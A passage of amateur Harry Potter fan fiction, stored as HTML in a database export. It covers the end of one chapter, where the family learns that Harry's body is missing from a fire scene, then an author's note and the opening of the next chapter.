class="MsoBodyText">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nChris looked at his girlfriend; &#8220;I need to talk to you later&#8230;&#8221; He said with a\nhalf smile.</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Any time you feel like it.&#8221; She said as she closed the door.</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nChris sat there with James for a while before either one could say something,\nit just seemed right to just sit there knowing the other was there to talk when\nthey felt free.</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Why did dad do that?&#8221;&nbsp; James finally asked after what seemed like hours,\n&#8220;Why didn&#8217;t he have the protection?&#8221;</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nChris shook his head, &#8220;You know James, I really don&#8217;t know&#8230; But in a way what\nhe did was heroic, he saved a life in there risking his own, that&#8217;s why I want\nto join the department,&#8221; </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;NO!&#8221; James shouted, &#8220;Your not gonna do what he did!&#8221; Tears started to form in\nhis eyes.</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nChris wrapped James in a hug, &#8220;No, no, no, no, Jamie I would NEVER do what he\ndid&#8230; but I would be much more careful as to what I was doing&#8230; I could never\njust leave you behind.&nbsp; You or mum or Brand, not even Ste or ANYONE&#8230;&#8221; </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Dad did, why would he do it if he knew the whole thing wasn&#8217;t safe.&#8221; James\nsaid crying on his older brother.</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;To be honest buddy, I really don&#8217;t know&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">~*~</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;I&#8217;m glad he rather talk to Chris about this, I think it&#8217;s better for two men\nto talk, you think he&#8217;s ok?&#8221; Hermione was frantic in the kitchen with Ste and\nKat; Mandy had been put up in her room for a nap.&nbsp; She was worn out from\nthe day.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;It&#8217;s fine Aunt Hermione&#8230; There men&#8230; they have to talk to each other.&nbsp; You\nknow James, he look&#8217;s up to Chris like some superhero.&#8221; Ste said trying to calm\ndown Hermione, &#8220;But why was Chris so upset to begin with?&#8221;&nbsp; Ste added.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHermione took a breath, &#8220;I don&#8217;t think that right now is the right time to talk\nabout it&#8230; I&#8217;d rather wait till your father got home; he should be here by six\nor seven.&nbsp; The ministry said that there was something wrong with the port\nkey&#8217;s and floo network is down so he has to wait for one of them to open up.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Why doesn&#8217;t he just Apperate?&#8221; Kat asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nSte huffed a laugh, &#8220;My Father Apperate&#8230; that&#8217;s a laugh, my dad can&#8217;t even get\nfrom our kitchen to the living room when he Apperate\'s, let alone from one\ncountry to another.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;If he only tried to learn it then by trying to get me to do it for him then\nmaybe he could get from the kitchen to the living room&#8230; with his whole body.&#8221;\nHermione said letting out a small laugh.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~*~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nIt was about 7:30 in the evening when Chris had finally come from the attic and\nsat with his family and friends in the living room.&nbsp; It had looked like he\nfell asleep up there because his hair was messier than usual and his eyes had\nbags under them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHe sat down next to Kat and held her hand giving her a reassuring smile, or at\nleast the best he could give at the time.&nbsp; James was sitting on the floor\nwith Mandy watching a cartoon on the television and Brandon and his friends\nplaying a game of exploding snap and wizard chess on the other side of the\nroom.&nbsp; Ste was sitting on another chair reading a book about a young\nwizard named Daniel Radcliff who was always getting into trouble, but ended up\nsaving the day in the end.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHermione was on the computer looking up some muggle ingredients for a\npotion.&nbsp; The house was rather quiet with everyone just lying around; the\noccasional pop or crumble from the two games that were going on and the\nTV.&nbsp; Chris was half dead but he must have been really hungry by the way his\nstomach was wining.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Hungry mate?&#8221; Ste said without looking over his book.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Just a bit,&#8221; Chris replied rubbing his face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;We still have Pizza from earlier,&#8221; Kat said, &#8220;Plenty if you&#8217;re hungry.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Foooooood&#8230;&#8221; Chris said trying to lighten to mood.&nbsp; It did the trick at\nleast everyone let out a small laugh.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nChris got up from his chair and headed in the kitchen holding his arms out like\na zombie from the grave, &#8220;Must eat foooooooood&#8230;&#8221; He said again, Kat got up and\nfollowed him into the kitchen.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nWhen they were in the kitchen Chris opened each box checking to see what was\nwhat and what he wanted.&nbsp; There was pepperoni and sausage on one, bacon\ncheddar cheeseburger on another one, a plain, and a veggie feast.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Yummy&#8230;&#8221; He said looking at the food.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;You seem a lot better then when you came home with your brother and Mandy.&#8221;\nShe said holding him around the middle.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Yeah, I donno maybe I just needed a rest for a while&#8230;&#8221; He said putting his\nhand over hers.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;You know when you fell asleep James must have too, well I guess he woke up and\ncame down here and I was sitting by the fire just relaxing and he came over to\nme,&#8221; She said getting a smile on her face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Yeah, then what?&#8221; Chris asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;I smiled at him and he said to me, Chris was thinking about you in his\ndreams.&#8221;&nbsp;&nbsp; Chris raised his head to look at the ceiling, &#8220;Is this\ntrue?&#8221; She asked with curiosity.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Was I really?&#8221; He asked interested</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nChris turned Kat to look him in the eye, &#8220;You know, I have to tell you\nsomething&#8230;&#8221; Kat turned her head away, &#8220;Don&#8217;t think I&#8217;m saying this because of\nwhat&#8217;s just happened, I did plan on telling you this over vacation.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;What&#8217;s that?&#8221; She said looking at him putting her hands on his chest.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Kat, I have never been more happy about anything in my life until I met\nyou.&nbsp; I would have never thought the day I first talked to you that you\nwould want someone like me&#8230;&#8221; He rubbed his thumb over her cheek, &#8220;And I was so\nhappy when you said you would go to the ball with me that day when we were 14.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Chris just say what your gonna say, your making me cry&#8230;&#8221; Kat interrupted.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Kat it&#8217;s hard to say this at a time like this but I know that you have to\nknow, Kat, I-&#8220; Chris was about to finish his sentence when the front door\nopened and there was a yell.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;HERMIONE!&#8221; the voice said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nChris knew that voice too well, he looked at Kat, &#8220;Uncle Ron&#8230;&#8221; He said in a\ndisappointed tone.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHe walked out of the kitchen with Kat in hand and saw Ron in the hall, &#8220;Chris!&#8221;\nHe said, &#8220;God what happened?&#8221; Chris walked over to him and Ron grabbed him in a\ncrushing hug.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHermione and the rest of the residents on the house where in the hall door\nlooking at the scene; Ste Nick and Mandy ran over to there mother and hugged\nher at the same time.&nbsp; Ron let go of Chris and looked at Hermione.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Hermione&#8230;&#8221; He breathed out.&nbsp; Hermione walked over to him and squeezed the\nlife out of him.&nbsp; Ron and some tears in his eyes when Hermione had held\nhim so tight.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;What took you so long Dad?&#8221; Ste asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nRon looked at his son, &#8220;Well&#8230;&#8221; He looked concerned, &#8220;Something is happening,\nsomething big&#8230; The port key&#8217;s where messed up, they were sending people to the\nwrong locations and the floo network was malfunctioning, people were starting\nto get bad burns in there bodies because the passage was closing to soon and\nthey would get caught in it&#8230;&#8221; Ministry thinks that it was dark magic, but I\nsaid that it was one of those new members that Fudge decided to put in charge\nbefore they even learn to do the keys right.&#8221; He explained.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Ron they might be right.&#8221; Hermione said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;You never know Herms, but still, but I&#8217;m not the point right now. What\nhappened here, I mean are you sure he&#8217;s dead?&#8221; Ron&#8217;s look of panic and shock\nran over him again.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHermione&#8217;s eyes welled up as she looked at her best friend, &#8220;Yes.&#8221; Was all she\ncould say before her tears broke and feel down her cheeks. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nRon grabbed her in another hug trying to calm her down, &#8220;Calm down Hermione&#8230;\nit&#8217;s going to be ok,&#8221; He said while he himself was a wreck and just wanted to\ncry.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nAt that moment the phone rang, Chris ran and got it, &#8220;Hello?&#8221; He asked, &#8220;Paul!\nWha- what&#8217;s up?&#8221;&nbsp; He stood there in silence with every one waiting to hear\nwhat he had to say.&nbsp; Chris stood frozen as Paul talked into the\nphone.&nbsp; Finally after what felt like hours Chris answered him, &#8220;Yes, Yes\nsir, we&#8217;ll be down in a few. Yes you to sir.&#8221; Then he hung up the phone and\nlooked at everyone.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Mum, we have to go&#8230; the fires out and they found something.&#8221; Chris said\nshaking a bit.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Ok, lets go, Ron&#8230; could you watch them?&#8221; Hermione asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;No, I&#8217;m coming with you&#8230; that&#8217;s my best friend, Ste watch them and make sure\nMandy and James are in bed by 10:00.&#8221; Ron ordered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;I wanna come!&#8221; Brandon said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;No Bran, You can&#8217;t.&#8221; Chris said sternly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;He&#8217;s my dad!&#8221; Brandon yelled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;NO!&#8221; Chris barked that made everyone back off, &#8220;Your not coming and that&#8217;s\nit!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nBrandon looked at Chris like he had never seen him before, He never did\nsomething like that before, and he walked behind Ste and just looked at his\nolder brother scared.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Lets go.&#8221; Chris said grabbing his coat and walking out the door. After that\nthey were gone.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~*~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;What was that all about?&#8221; Ron asked Chris when they were in the car half way\nto the fire scene. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;What was what?&#8221; Chris asked still a bit harsh, &#8220;This isn&#8217;t something he has to\nsee&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Why did he tell you what were going to see?&#8221; Hermione asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;No, but still what if it&#8217;s something we can&#8217;t even handle?&#8221; Chris stated\nseriously.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;True.&#8221; Ron agreed, &#8220;If it&#8217;s something gruesome someone of his age shouldn&#8217;t\nsee it.&#8221; Hermione just nodded her head and for the rest of the car ride it was\nsilent.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nWhen they got to the scene Paul and the other fire men where al still there and\nover by the truck there was a hose gushing water on top of firemen who were in\nthe building, &#8220;They want to get the chemicals off of them men so it won&#8217;t sick\nif it&#8217;s hazardous.&#8221; Chris explained.&nbsp; They walked over to Paul who was\nsitting there waiting for the police to come out of the extinguished building.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Paul!&#8221; Chris yelled, &#8220;Paul!&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nPaul looked at who was calling his name and when he say Chris and Hermione\nwalking towards him he felt like an air tank just landed in his stomach,\n&#8220;Chris, Mrs. Potter, and&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Ron Weasley, Harry was my friend.&#8221; Ron held out his had for Paul to shake.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;What did u find?&#8221; Chris got right to the point.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Well, here&#8217;s the problem&#8230; We didn&#8217;t find anything.&#8221; Paul said trying to get to\nthe point.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;What do you mean you didn&#8217;t find anything?&#8221; Hermione and Ron said in unison.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;I mean we when right to his location and all we found was his burnt fire\nuniform.&#8221; Paul explained.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHermione and Ron ran to the building where there were cops surrounding.&nbsp;\nThey pushed threw the men and women and looked at where there was police tape\nsurrounding a circle.&nbsp; They looked in shock, Chris and Paul followed suit&#8230;\nbut what Chris found shocking more than Paul was that there was a lighting bolt\nscorch mark on his coat just like the one on Harry&#8217;s head!&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nRon leaned into Hermione&#8217;s ear and whispered, &#8220;He&#8217;s alive!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~*~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">Miles away in a\ndark stone room with two candles a small orb shown in the center of the room\nand with a bright flash a body fell to the ground; Harry&#8217;s body fell to the\nground with a loud swack! an ash faced, sweaty Harry in nothing but a pair of\nboxers and a beater.&nbsp; Being in so much pain he could barley move, he heard\na voice,</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;Welcome Harry,\nwelcome home&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">A/n: GOD IM\nSOOOOOOOOO SORRY, *<b>hides in corner from angry crowd</b>* this is short cuz I\nwanted to get this chapter out to you guys cuz I felt so bad 4 the wait.&nbsp;\nHopefully I can get chapter 5 up quick&#8230; Please review and if u want im gonna\ntry to get my stories over at www.portkey.org.&nbsp; Chapter 5 we find out what\nthe hell happened and where Harry is!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Thanks to my reviewers who are sticking\nwith this story I promise u don&#8217;t want ot stop reading it&#8217;s gonna get better\nfrom here on out.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">P.s Happy meg! Hope you enjoy!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(277, 5, '\n\n\n\n<p class="MsoNormal">A/n:\nhey guys I&#8217;m sry for all the waiting I had with the last chapter but I hope\nthis is up in good time 4 ya! Please don&#8217;t stop reading this chapter will\nexplain a lot! And please you don&#8217;t have to but I really gets me pumped when u\nguys give the reviews I love them and it makes me happy to know what you think!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Disclaimer:\nI own nothing so u can&#8217;t sue me!! Bwahahahahaha! Sorry&#8230;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Any\nways, ONWARD TO CAHPTER 5!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">Chapter 5</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">This is home?</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Welcome\nHarry, welcome home&#8230;&#8221;</p>\n\n<p class="MsoNormal">~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry looked up at the face of the\nperson who was speaking to him, he had a hood on and he couldn&#8217;t see the face,\n&#8220;Who are you?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p 